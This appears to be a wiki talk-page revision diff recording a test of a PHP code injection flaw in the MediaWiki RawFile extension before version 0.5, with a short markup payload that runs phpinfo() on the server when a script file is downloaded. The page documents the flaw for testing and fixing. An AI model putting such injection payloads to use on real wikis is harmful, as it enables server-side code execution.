Talk:Mediawiki RawFile: Difference between revisions

From YobiWiki
Jump to navigation Jump to search
Content deleted Content added
mNo edit summary
mNo edit summary
Line 1: Line 1:
Testing PHP code injection on Rawfile < 0.5 :
Tests...
<br>Adding this code to a wikipage:

<pre>
<nowiki>{${phpinfo()}}</nowiki>
<nowiki>{${phpinfo()}}</nowiki>
[{{#file: myscript.sh}} as myscript.sh]
[{{#file: myscript.sh}} as myscript.sh]
Line 9: Line 10:
exit 0
exit 0
</source>
</source>
</pre>
and trying to download myscript.sh will execute phpinfo() on the server.

Revision as of 14:54, 13 February 2014

Testing PHP code injection on Rawfile < 0.5 :
Adding this code to a wikipage:

{${phpinfo()}}
[{{#file: myscript.sh}} as myscript.sh]
<source lang=bash>
#!/bin/bash

echo 'Hello world!'
exit 0
</source>

and trying to download myscript.sh will execute phpinfo() on the server.